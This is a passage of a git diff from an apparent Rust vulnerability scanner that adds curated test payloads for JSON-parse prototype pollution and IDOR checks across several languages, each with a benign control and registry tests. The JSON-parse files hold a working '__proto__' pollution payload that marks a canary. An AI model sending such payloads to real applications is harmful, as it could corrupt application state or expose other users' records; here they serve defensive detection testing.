|
||||
//!
|
||||
//! Same canary oracle as the Phase 10 PROTOTYPE_POLLUTION corpus
|
||||
//! ([`crate::dynamic::oracle::ProbePredicate::PrototypeCanaryTouched`]).
|
||||
//! The harness routes both payloads through `JSON.parse` first to
|
||||
//! exercise the parse-then-assign flow specifically (whereas the
|
||||
//! Phase 10 corpus passes the JSON literal directly to the deep-merge
|
||||
//! sink without an intervening parse).
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const CANARY: &str = "__nyx_canary";
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: br#"{"__proto__":{"__nyx_canary":"pwned"}}"#,
|
||||
label: "json-parse-js-proto-key",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse/javascript/vuln.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "json-parse-js-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: br#"{"data":{"__nyx_canary":"pwned"}}"#,
|
||||
label: "json-parse-js-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse/javascript/benign.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
21
src/dynamic/corpus/json_parse/mod.rs
Normal file
21
src/dynamic/corpus/json_parse/mod.rs
Normal file
|
|
@ -0,0 +1,21 @@
|
|||
//! JSON-parse pollution (`Cap::JSON_PARSE`) per-language payload
|
||||
//! slices.
|
||||
//!
|
||||
//! Phase 11 (Track J.9) reuses the prototype-canary oracle from
|
||||
//! Phase 10 across the three languages whose JSON parsers have a
|
||||
//! published pollution surface: JavaScript (`JSON.parse` then deep
|
||||
//! assign), Python (`json.loads` then `dict.update` /
|
||||
//! `setattr`-driven attribute pollution), Ruby (`JSON.parse` then
|
||||
//! recursive merge). Every vuln payload binds a JSON literal whose
|
||||
//! top-level key is `__proto__`; the per-language harness's
|
||||
//! instrumented canary trap (`Object.prototype.__nyx_canary` in JS,
|
||||
//! a `dict`/class-scoped sentinel in Python, an `Object.prepend`
|
||||
//! flag in Ruby) records a
|
||||
//! [`crate::dynamic::probe::ProbeKind::PrototypePollution`] probe
|
||||
//! once the malicious key reaches the shared chain. The paired
|
||||
//! benign control sends a JSON literal whose top-level key is the
|
||||
//! regular property `data`, leaving the chain untouched.
|
||||
|
||||
pub mod javascript;
|
||||
pub mod python;
|
||||
pub mod ruby;
|
||||
45
src/dynamic/corpus/json_parse/python.rs
Normal file
45
src/dynamic/corpus/json_parse/python.rs
Normal file
|
|
@ -0,0 +1,45 @@
|
|||
//! Python `Cap::JSON_PARSE` payloads — `json.loads` then
|
||||
//! attribute-pollution via `setattr` / `dict.update` on a shared
|
||||
//! sentinel object.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const CANARY: &str = "__nyx_canary";
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: br#"{"__proto__":{"__nyx_canary":"pwned"}}"#,
|
||||
label: "json-parse-python-proto-key",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse/python/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "json-parse-python-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: br#"{"data":{"__nyx_canary":"pwned"}}"#,
|
||||
label: "json-parse-python-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse/python/benign.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
44
src/dynamic/corpus/json_parse/ruby.rs
Normal file
44
src/dynamic/corpus/json_parse/ruby.rs
Normal file
|
|
@ -0,0 +1,44 @@
|
|||
//! Ruby `Cap::JSON_PARSE` payloads — `JSON.parse` then recursive
|
||||
//! `Hash#deep_merge!` on a shared sentinel object.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const CANARY: &str = "__nyx_canary";
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: br#"{"__proto__":{"__nyx_canary":"pwned"}}"#,
|
||||
label: "json-parse-ruby-proto-key",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse/ruby/vuln.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "json-parse-ruby-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: br#"{"data":{"__nyx_canary":"pwned"}}"#,
|
||||
label: "json-parse-ruby-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse/ruby/benign.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
|
|
@ -24,8 +24,9 @@ use std::collections::HashMap;
|
|||
use std::sync::OnceLock;
|
||||
|
||||
use super::{
|
||||
cmdi, deserialize, fmt_string, header_injection, ldap, open_redirect, path_trav,
|
||||
prototype_pollution, sqli, ssrf, ssti, xpath, xss, xxe,
|
||||
cmdi, crypto, data_exfil, deserialize, fmt_string, header_injection, json_parse, ldap,
|
||||
open_redirect, path_trav, prototype_pollution, sqli, ssrf, ssti, unauthorized_id, xpath, xss,
|
||||
xxe,
|
||||
};
|
||||
use super::{CapCorpus, CuratedPayload, Oracle};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
|
@ -36,13 +37,42 @@ use crate::symbol::Lang;
|
|||
/// and sinks we cannot yet model with a reliable oracle. The
|
||||
/// [`super::audit`] module asserts that the union of caps covered by
|
||||
/// [`CORPUS::entries`] and this constant equals [`Cap::all`].
|
||||
pub const CORPUS_UNSUPPORTED_LANG_NEUTRAL: u32 = Cap::ENV_VAR.bits()
|
||||
| Cap::SHELL_ESCAPE.bits()
|
||||
| Cap::URL_ENCODE.bits()
|
||||
| Cap::JSON_PARSE.bits()
|
||||
| Cap::CRYPTO.bits()
|
||||
| Cap::UNAUTHORIZED_ID.bits()
|
||||
| Cap::DATA_EXFIL.bits();
|
||||
///
|
||||
/// Phase 11 (Track J.9) carved `CRYPTO`, `JSON_PARSE`,
|
||||
/// `UNAUTHORIZED_ID`, and `DATA_EXFIL` corpora; the remaining caps
|
||||
/// here (`ENV_VAR`, `SHELL_ESCAPE`, `URL_ENCODE`) are pure
|
||||
/// sources / sanitizers with no sink behaviour and route through
|
||||
/// [`crate::evidence::UnsupportedReason::SoundOracleUnavailable`]
|
||||
/// at run time.
|
||||
pub const CORPUS_UNSUPPORTED_LANG_NEUTRAL: u32 =
|
||||
Cap::ENV_VAR.bits() | Cap::SHELL_ESCAPE.bits() | Cap::URL_ENCODE.bits();
|
||||
|
||||
/// Caps for which no sound oracle exists — emitted as
|
||||
/// [`crate::evidence::UnsupportedReason::SoundOracleUnavailable`]
|
||||
/// instead of [`crate::evidence::UnsupportedReason::NoPayloadsForCap`]
|
||||
/// so the unsupported budget accounting reflects the structural
|
||||
/// impossibility rather than a missing-payload gap. Currently the
|
||||
/// same set as [`CORPUS_UNSUPPORTED_LANG_NEUTRAL`]; kept as a
|
||||
/// distinct constant so future caps that legitimately cannot be
|
||||
/// oracled (e.g. side-channel timing) can land here without
|
||||
/// expanding the lang-neutral unsupported set.
|
||||
pub const CORPUS_SOUND_ORACLE_UNAVAILABLE: u32 =
|
||||
Cap::ENV_VAR.bits() | Cap::SHELL_ESCAPE.bits() | Cap::URL_ENCODE.bits();
|
||||
|
||||
/// Human-actionable hint for [`CORPUS_SOUND_ORACLE_UNAVAILABLE`]
|
||||
/// caps, surfaced via
|
||||
/// [`crate::evidence::UnsupportedReason::SoundOracleUnavailable::hint`].
|
||||
pub fn sound_oracle_unavailable_hint(cap: Cap) -> &'static str {
|
||||
if cap == Cap::ENV_VAR {
|
||||
"ENV_VAR is a source cap with no externally-observable sink behaviour"
|
||||
} else if cap == Cap::SHELL_ESCAPE {
|
||||
"SHELL_ESCAPE is a sanitizer cap whose effect is observed at the wrapping sink"
|
||||
} else if cap == Cap::URL_ENCODE {
|
||||
"URL_ENCODE is a sanitizer cap whose effect is observed at the wrapping sink"
|
||||
} else {
|
||||
"no sound oracle is currently available for this cap"
|
||||
}
|
||||
}
|
||||
|
||||
/// Flat `(Cap, Lang, slice)` table. A single cap can carry per-language
|
||||
/// variants — that's the whole reason this layer exists.
|
||||
|
|
@ -98,6 +128,28 @@ const ENTRIES: &[(Cap, Lang, &[CuratedPayload])] = &[
|
|||
Lang::TypeScript,
|
||||
prototype_pollution::typescript::PAYLOADS,
|
||||
),
|
||||
(Cap::CRYPTO, Lang::Java, crypto::java::PAYLOADS),
|
||||
(Cap::CRYPTO, Lang::Python, crypto::python::PAYLOADS),
|
||||
(Cap::CRYPTO, Lang::Php, crypto::php::PAYLOADS),
|
||||
(Cap::CRYPTO, Lang::Go, crypto::go::PAYLOADS),
|
||||
(Cap::CRYPTO, Lang::Rust, crypto::rust::PAYLOADS),
|
||||
(Cap::JSON_PARSE, Lang::JavaScript, json_parse::javascript::PAYLOADS),
|
||||
(Cap::JSON_PARSE, Lang::Python, json_parse::python::PAYLOADS),
|
||||
(Cap::JSON_PARSE, Lang::Ruby, json_parse::ruby::PAYLOADS),
|
||||
(Cap::UNAUTHORIZED_ID, Lang::Python, unauthorized_id::python::PAYLOADS),
|
||||
(Cap::UNAUTHORIZED_ID, Lang::Ruby, unauthorized_id::ruby::PAYLOADS),
|
||||
(Cap::UNAUTHORIZED_ID, Lang::Java, unauthorized_id::java::PAYLOADS),
|
||||
(Cap::UNAUTHORIZED_ID, Lang::Php, unauthorized_id::php::PAYLOADS),
|
||||
(Cap::UNAUTHORIZED_ID, Lang::JavaScript, unauthorized_id::js::PAYLOADS),
|
||||
(Cap::UNAUTHORIZED_ID, Lang::Go, unauthorized_id::go::PAYLOADS),
|
||||
(Cap::UNAUTHORIZED_ID, Lang::Rust, unauthorized_id::rust::PAYLOADS),
|
||||
(Cap::DATA_EXFIL, Lang::Python, data_exfil::python::PAYLOADS),
|
||||
(Cap::DATA_EXFIL, Lang::Ruby, data_exfil::ruby::PAYLOADS),
|
||||
(Cap::DATA_EXFIL, Lang::Java, data_exfil::java::PAYLOADS),
|
||||
(Cap::DATA_EXFIL, Lang::Php, data_exfil::php::PAYLOADS),
|
||||
(Cap::DATA_EXFIL, Lang::JavaScript, data_exfil::js::PAYLOADS),
|
||||
(Cap::DATA_EXFIL, Lang::Go, data_exfil::go::PAYLOADS),
|
||||
(Cap::DATA_EXFIL, Lang::Rust, data_exfil::rust::PAYLOADS),
|
||||
];
|
||||
|
||||
/// Reserved for per-cap oracle defaults. Empty in Phase 02; populated by
|
||||
|
|
@ -312,19 +364,18 @@ mod tests {
|
|||
assert!(!payloads_for(Cap::HEADER_INJECTION).is_empty());
|
||||
assert!(!payloads_for(Cap::OPEN_REDIRECT).is_empty());
|
||||
assert!(!payloads_for(Cap::PROTOTYPE_POLLUTION).is_empty());
|
||||
assert!(!payloads_for(Cap::CRYPTO).is_empty());
|
||||
assert!(!payloads_for(Cap::JSON_PARSE).is_empty());
|
||||
assert!(!payloads_for(Cap::UNAUTHORIZED_ID).is_empty());
|
||||
assert!(!payloads_for(Cap::DATA_EXFIL).is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn unsupported_caps_return_empty() {
|
||||
let unsupported = [
|
||||
Cap::ENV_VAR,
|
||||
Cap::SHELL_ESCAPE,
|
||||
Cap::URL_ENCODE,
|
||||
Cap::JSON_PARSE,
|
||||
Cap::CRYPTO,
|
||||
Cap::UNAUTHORIZED_ID,
|
||||
Cap::DATA_EXFIL,
|
||||
];
|
||||
// Phase 11 (Track J.9): only pure-source / pure-sanitizer
|
||||
// caps remain unsupported. CRYPTO / JSON_PARSE /
|
||||
// UNAUTHORIZED_ID / DATA_EXFIL now carry payloads.
|
||||
let unsupported = [Cap::ENV_VAR, Cap::SHELL_ESCAPE, Cap::URL_ENCODE];
|
||||
for cap in unsupported {
|
||||
assert!(
|
||||
payloads_for(cap).is_empty(),
|
||||
|
|
@ -333,6 +384,62 @@ mod tests {
|
|||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn phase_11_caps_have_payloads() {
|
||||
assert!(!payloads_for(Cap::CRYPTO).is_empty());
|
||||
assert!(!payloads_for(Cap::JSON_PARSE).is_empty());
|
||||
assert!(!payloads_for(Cap::UNAUTHORIZED_ID).is_empty());
|
||||
assert!(!payloads_for(Cap::DATA_EXFIL).is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn phase_11_caps_pair_benign_controls_per_lang() {
|
||||
let cases: &[(Cap, &[Lang])] = &[
|
||||
(Cap::CRYPTO, &[Lang::Java, Lang::Python, Lang::Php, Lang::Go, Lang::Rust]),
|
||||
(Cap::JSON_PARSE, &[Lang::JavaScript, Lang::Python, Lang::Ruby]),
|
||||
(
|
||||
Cap::UNAUTHORIZED_ID,
|
||||
&[
|
||||
Lang::Python,
|
||||
Lang::Ruby,
|
||||
Lang::Java,
|
||||
Lang::Php,
|
||||
Lang::JavaScript,
|
||||
Lang::Go,
|
||||
Lang::Rust,
|
||||
],
|
||||
),
|
||||
(
|
||||
Cap::DATA_EXFIL,
|
||||
&[
|
||||
Lang::Python,
|
||||
Lang::Ruby,
|
||||
Lang::Java,
|
||||
Lang::Php,
|
||||
Lang::JavaScript,
|
||||
Lang::Go,
|
||||
Lang::Rust,
|
||||
],
|
||||
),
|
||||
];
|
||||
for (cap, langs) in cases {
|
||||
for lang in *langs {
|
||||
let slice = payloads_for_lang(*cap, *lang);
|
||||
assert!(
|
||||
!slice.is_empty(),
|
||||
"({cap:?}, {lang:?}) must have payloads",
|
||||
);
|
||||
let vuln = slice
|
||||
.iter()
|
||||
.find(|p| !p.is_benign)
|
||||
.unwrap_or_else(|| panic!("missing vuln for ({cap:?}, {lang:?})"));
|
||||
let resolved = resolve_benign_control_lang(vuln, *cap, *lang)
|
||||
.unwrap_or_else(|| panic!("missing benign for ({cap:?}, {lang:?})"));
|
||||
assert!(resolved.is_benign);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn fileio_has_benign_payload() {
|
||||
assert!(benign_payload_for(Cap::FILE_IO).is_some());
|
||||
|
|
@ -359,6 +466,10 @@ mod tests {
|
|||
Cap::HEADER_INJECTION,
|
||||
Cap::OPEN_REDIRECT,
|
||||
Cap::PROTOTYPE_POLLUTION,
|
||||
Cap::CRYPTO,
|
||||
Cap::JSON_PARSE,
|
||||
Cap::UNAUTHORIZED_ID,
|
||||
Cap::DATA_EXFIL,
|
||||
] {
|
||||
let has_vuln = payloads_for(cap).iter().any(|p| !p.is_benign);
|
||||
assert!(has_vuln, "{cap:?} must have at least one vuln payload");
|
||||
|
|
@ -413,6 +524,10 @@ mod tests {
|
|||
Cap::HEADER_INJECTION,
|
||||
Cap::OPEN_REDIRECT,
|
||||
Cap::PROTOTYPE_POLLUTION,
|
||||
Cap::CRYPTO,
|
||||
Cap::JSON_PARSE,
|
||||
Cap::UNAUTHORIZED_ID,
|
||||
Cap::DATA_EXFIL,
|
||||
];
|
||||
for cap in caps {
|
||||
for p in payloads_for(cap) {
|
||||
|
|
@ -442,6 +557,10 @@ mod tests {
|
|||
Cap::HEADER_INJECTION,
|
||||
Cap::OPEN_REDIRECT,
|
||||
Cap::PROTOTYPE_POLLUTION,
|
||||
Cap::CRYPTO,
|
||||
Cap::JSON_PARSE,
|
||||
Cap::UNAUTHORIZED_ID,
|
||||
Cap::DATA_EXFIL,
|
||||
];
|
||||
for cap in caps {
|
||||
for p in payloads_for(cap) {
|
||||
|
|
@ -558,6 +677,10 @@ mod tests {
|
|||
Cap::HEADER_INJECTION,
|
||||
Cap::OPEN_REDIRECT,
|
||||
Cap::PROTOTYPE_POLLUTION,
|
||||
Cap::CRYPTO,
|
||||
Cap::JSON_PARSE,
|
||||
Cap::UNAUTHORIZED_ID,
|
||||
Cap::DATA_EXFIL,
|
||||
];
|
||||
for cap in caps {
|
||||
for p in payloads_for(cap).iter().filter(|p| p.is_benign) {
|
||||
|
|
|
|||
41
src/dynamic/corpus/unauthorized_id/go.rs
Normal file
41
src/dynamic/corpus/unauthorized_id/go.rs
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
//! go `Cap::UNAUTHORIZED_ID` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"bob",
|
||||
label: "idor-go-cross-tenant",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/go/vuln.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "idor-go-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "idor-go-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/go/benign.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
41
src/dynamic/corpus/unauthorized_id/java.rs
Normal file
41
src/dynamic/corpus/unauthorized_id/java.rs
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
//! java `Cap::UNAUTHORIZED_ID` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"bob",
|
||||
label: "idor-java-cross-tenant",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/java/vuln.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "idor-java-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "idor-java-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/java/benign.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
41
src/dynamic/corpus/unauthorized_id/js.rs
Normal file
41
src/dynamic/corpus/unauthorized_id/js.rs
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
//! js `Cap::UNAUTHORIZED_ID` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"bob",
|
||||
label: "idor-js-cross-tenant",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/js/vuln.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "idor-js-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "idor-js-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/js/benign.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
23
src/dynamic/corpus/unauthorized_id/mod.rs
Normal file
23
src/dynamic/corpus/unauthorized_id/mod.rs
Normal file
|
|
@ -0,0 +1,23 @@
|
|||
//! IDOR / unauthorized-id-access (`Cap::UNAUTHORIZED_ID`)
|
||||
//! per-language payload slices.
|
||||
//!
|
||||
//! Phase 11 (Track J.9) carves an IDOR oracle across all seven
|
||||
//! backend-capable languages. Each harness stands up a mock data
|
||||
//! store keyed by `owner_id` and a hard-coded `caller_id`
|
||||
//! (`"alice"`). The vuln payload supplies an `owner_id` that
|
||||
//! belongs to another user (`"bob"`); the harness's instrumented
|
||||
//! lookup returns the record without an authorization check and
|
||||
//! writes a [`crate::dynamic::probe::ProbeKind::IdorAccess { caller_id,
|
||||
//! owner_id }`] probe. The
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::IdorBoundaryCrossed`]
|
||||
//! predicate fires whenever `caller_id != owner_id`. The paired
|
||||
//! benign control asks for the caller's own record (`"alice"`), so
|
||||
//! the probe records matching ids and the predicate stays clear.
|
||||
|
||||
pub mod go;
|
||||
pub mod java;
|
||||
pub mod js;
|
||||
pub mod php;
|
||||
pub mod python;
|
||||
pub mod ruby;
|
||||
pub mod rust;
|
||||
41
src/dynamic/corpus/unauthorized_id/php.rs
Normal file
41
src/dynamic/corpus/unauthorized_id/php.rs
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
//! php `Cap::UNAUTHORIZED_ID` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"bob",
|
||||
label: "idor-php-cross-tenant",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/php/vuln.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "idor-php-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "idor-php-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/php/benign.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
41
src/dynamic/corpus/unauthorized_id/python.rs
Normal file
41
src/dynamic/corpus/unauthorized_id/python.rs
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
//! Python `Cap::UNAUTHORIZED_ID` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"bob",
|
||||
label: "idor-python-cross-tenant",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/python/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "idor-python-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"alice",
|
||||
label: "idor-python-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/unauthorized_id/python/benign.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
41
src/dynamic/corpus/unauthorized_id/ruby.rs
Normal file
41
src/dynamic/corpus/unauthorized_id/ruby.rs
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
//! ruby `Cap::UNAUTHORIZED_ID` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"bob",
|
||||
label: "idor-ruby-cross-tenant",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::IdorBoundaryCrossed],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
